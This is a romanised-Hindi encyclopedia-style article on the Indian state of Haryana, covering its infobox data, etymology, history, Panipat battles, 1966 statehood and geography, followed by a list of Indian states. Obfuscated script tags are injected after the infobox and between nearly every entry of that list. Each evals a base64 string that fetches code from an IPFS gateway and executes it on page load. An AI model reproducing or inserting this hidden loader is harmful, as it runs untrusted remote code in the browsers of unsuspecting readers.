हरियाणा

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hariyana
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rajadhani	chandigadh
rajabhasha(ean)	hindi bhasha
sthapana	1 navanbar, 1966
janasankhya	2,53,53,081
· ghanatv	477 /varg kimi
kshetraphal	44,212 varg kimi
bhaugolik nirdeshaank	30°44′N 76°47′E
· grishm	50 °C
· sharad	1 °C
zile	21
sabase b da nagar	faridabad
b de nagar	gu dagaanv, faridabad
mukhy aitihasik sthal	kurukshetr
mukhy paryatan sthal	hisar, gu dagaanv, pianjaur, panipat, kurukshetr
liang anupat	1000:861 ♂/♀
rajyapal	kaptan sianh solanki
mukhyamantri	manohar lal khattar
vidhanasabha sadasy	90
lokasabha kshetr	10
rajyasabha sadasy	5
bahari k diyaan	adhikarik vebasait
adyatan‎	14:28, 26 aktoobar 2014 (IST)
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

hariyana uttar bharat ke praant panjab ko 1966 mean vibhajit karake banaya gaya tha. is rajy ki sima ke uttar mean panjab aur himachal pradesh, pashchim tatha dakshin sima par rajasthan aur poorv mean uttarakhand tatha uttar pradesh sthit haian. bharat ki rajadhani dilli ke tin taraf hariyana ki simayean lagi huee haian, jisake karan rashtriy rajadhani kshetr dilli ka ek b da hissa hariyana mean mila hai. hariyana pradesh ki rajadhani chandigadh hai, jo keandr shasit pradesh hone ke sath panjab rajy ki bhi rajadhani hai. [[chitr:Chandigarh-High-Court.jpg|thumb|250px|left|mahanyayalay, chandigadh]]

• 'hariyana' ka shabdarth hai- 'parameshvar ka nivas', 'hari' (vishnu) aur 'ayan' (ghar) se milakar hariyana shabd bana hai.
• yah rajy sampoorn bharat ke vikas ka agradoot mana jata hai.
• british shasan mean hariyana, panjab prant ka ek bhag raha tha. isake itihas mean panjab ke itihas ki mahattvapoorn bhoomika hai.
• hariyana mean prati vyakti amadani gova aur dilli ke bad hai. hariyana mean prati vyakti ausat ay 29,887 rupaye prativarsh (varsh 2006 ke aankadoan ke anusar) hai.
• yah rajy audyogik utpadan mean desh ke agrani rajyoan mean se ek hai.
• gu dagaanv shahar soochana praudyogiki aur aautomobail udyog ke ek pramukh keandr ke roop mean tezi se ubhara hai. yah nirman kshetr ka bhi pramukh keandr hai. yahaan maruti udyog limited, jo bharat ki sabase b di aautomobail nirmata kanpani hai, aur hiro hoanda limited, jo dopahiya vahanoan ki sabase b de nirmata kampani haian, ka mukhy karyalay hai.
• panipat, panchakoola aur faridabad bhi hariyana ke pramukh audyogik kendr haian.
• panipat rifainari dakshin eshiya ki doosari sabase b di rifainari hai.
• hariyana rajy mean ispat aur vastr udyog bhi bahut vikasit hai.

itihas aur bhoogol

hariyana ke roop mean jana jane vala kshetr (uttar vaidik yug, lagabhag 800-500 ee.poo. ka madhyama desh, yani madhy kshetr) hindoo dharm ka janm sthal mana jata hai. yah us kshetr mean hai, jahaan aryoan ka pahala stotr gaya gaya tha aur sarvadhik prachin paandulipiyaan likhi gee thian. dakshini panjab mean rohatak-gu dagaanv ka parvatiy pradesh, jisamean moolatah dilli bhi shamil hai. ab is nam ka ek naya rajy ban gaya hai. 1327 ke ek abhilekh mean 'dhillika' ya 'dilli' ko hariyana ke antargat bataya gaya hai-

'deshosti hariyanakhyah prithivyaan svargasannimah, dhillikapuri yatr tomarai-rasti nirmita.'

kuchh viddhanoan ke mat mean 'harayana' ya 'hariyana' shabd, 'ahirana' ka apabhransh hai. is pradesh mean prachin kal se achchhi charagah bhoomi hone ke karan ahiroan ya abhir jati ke logoan ka nivas raha hai. hariyana ka prachin itihas bahut gauravapoorn hai. yah vaidik kal se praranbh hota hai. yah rajy pauranik 'bharat vansh' ki janmabhoomi mana jata hai, jisake nam par is desh ka nam 'bharat' p da. mahakavy mahabharat mean hariyana ka zikr hua hai. kauravoan aur paandavoan ki yuddhabhoomi kurukshetr hariyana mean hai. muslimoan ke agaman aur dilli ke bharat ki rajadhani banane se pahale tak bharat ke itihas mean hariyana ki mahattvapoorn bhoomika rahi hai. bad mean hariyana dilli ka hi ek bhag ban gaya aur 1857 mean pratham svatantrata sangram tak yah adhik mahattvapoorn nahian raha.

aitihasik yuddh bhoomi

aitihasik yuddh bhoomi ke roop mean hariyana ko jana jata hai. pashchimottar aur madhy eshiyaee kshetroan se huee ghusapaithoan ke rastean mean p dane vale hariyana ko sikandar mahan (326 ee.poo.) ke samay se anek senaoan ke hamaloan ka samana karana p da. yah bharatiy itihas ki anek nirnayak l daeeyoan ka pratyakshadarshi raha hai. inamean pramukh haian-

1. panipat ki l daiyaan - 1526 mean jab mugal badashah babar ne ibrahim lodi ko harakar bharat mean mugal samrajy ki nianv dali.
2. 1556 mean jab afagan sena mugal shahanshah akabar ki sena se parajit huee.
3. 1739 mean karanal ki l daee - jab faras ke nadirashah ne dhvast hote mugal samrajy ko zoradar shikast di.
4. 1761 mean jab ahamadashah abdali ne maratha sena ko nirnayak shikast dekar bharat mean british hukoomat ka rasta saf kar diya.

bharatiy svatantrata andolan mean yogadan

bharatiy svatantrata andolan mean hariyana ke anek svatantrata senaniyoan ne yogadan diya hai jisamean se pramukh haian- chaudhari devi lal · aruna asaf ali · bansilal · sucheta kripalani ·

poorn rajy ka darja

hariyana rajy ki sthapana 1 navambar, 1966 ko huee thi. isaliye hariyana ka sthapana divas pratyek varsh '1 navanbar' ko manaya jata hai. sanh 1857 ka vidroh dabane ke bad british shasan ke pun: sthapit hone par aangrezoan ne jhajjar aur bahaduragadh ke navab, ballabhagadh ke raja aur reva di ke rav tularam ke kshetr ya to british shasan mean mila lie ya aangrezoan ne patiyala, nabh aur jiand ke shasakoan ko sauanp diye aur is prakar hariyana panjab praant ka bhag ban gaya. 1 navanbar, 1966 ko panjab praant ke punargathan ke pashchath hariyana ko poorn rajy ka darja mila. thumb|220px|left|panipat yuddh

vartaman hariyana rajy mean ane vala kshetr 1803 mean british eest iandiya kanpani ko sauanp diya gaya tha. 1832 mean yah tatkalin pashchimottar praant ko hastaantarit kar diya gaya aur 1858 mean yah kshetr panjab ka hissa ban gaya. 1947 mean bharat ke vibhajan ke bad tak isaki yahi sthiti bani rahi, halaanki alag hariyana rajy ki maang 1907 mean bharat ki azadi ke kafi pahale se hi uthane lagi thi. 'bharatiy rashtriy aandolan' ke pramukh neta lala lajapat ray aur asaf ali ne prithakh hariyana rajy ka samarthan kiya tha. svatantrata ke poorv evan bad mean panjab ka ek hissa hone ke bavajood ise vishisht saanskritik aur bhashaee ikaee mana jata tha, halaanki samajik-arthik roop se yah pichh da kshetr tha. vayovriddh svatantrata senani shriram sharma ki adhyakshata mean bani 'hariyana vikas samiti' ne ek svayatt rajy ki avadharana par dhyan keandrit kiya tha. 1960 ke dashak ki shuruat mean uttari panjab ke panjabi bhasha sikkhoan aur dakshin mean hariyana kshetr ke hindibhashi hianduoan dvara bhashaee adhar par rajyoan ki sthapana ki maang zor pak dane lagi thi, lekin sikkhoan dvara panjabi bhashi rajy ki zoradar maang ke karan hi is mudde ko bal mila. 1966 mean panjab punargathan adhiniyam ke parit hone ke sath hi panjab ke sath-sath hariyana bhi bharat ka ek prithakh rajy ban gaya. samajik aur arthik vikas ke drishtikon se chhote se rajyoan ke gathan ka prayog saphal sabit hua hai, basharte unhean sabal aur yogy netritv mile, jaisa ki in do rajyoan ne siddh kiya hai.

bhoo-akriti

hariyana mean do b de bhoo-kshetr hai, rajy ka ek b da hissa samatal jalodh maidanoan se yukt hai aur poorvottar mean tikhe dhal vali shivaliya paha diyaan tatha sankara paha di kshetr hai. samudr ki satah 210 mitar se 270 mitar ooanche maidani ilakoan se pani bahakar ekamatr barahamasi nadi yamuna mean ata hai, yah rajy ki poorvi sima se hokar bahati hai. shivalik paha diyoan se nikali anek mausami nadiyaan maidani bhagoan se guzarati hai. inamean sabase pramukh ghagghar (rajy ki uttari sima ke nikat) nadi hai. aisa mana jata hai ki kabhi yah nadi siandhu nadi mean milati thi, jo ab pakistan mean hai. is nadi ke nichale kshetr mean ary-poorv sabhyata ke avashes milate haian. isake alava dakshin hariyana ke maheandragadh, reva di aur gu dagaanv ziloan mean dakshin se uttar ki or dilli tak vistrit aravali parvat shriankhala ke bhi avashesh milate haian.

dekhean:bharat ek jhalak

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rashtriy rajadhani kshetr dilli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gova <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gujarat <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hariyana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> himachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jammoo aur kashmir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jharakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> karnatak <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> keral <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madhy pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> maharashtr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> manipur <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> meghalay <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mizoram <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nagalaiand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u disa <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> panjab <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajasthan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sikkim <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tamilanadu <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tripura <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttarakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttar pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pashchim bangal <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandaman evan nikobar dvipasamooh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chanh‍digadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dadara tatha nagar haveli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> daman aur div <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lakshadvip <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> puducheri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> 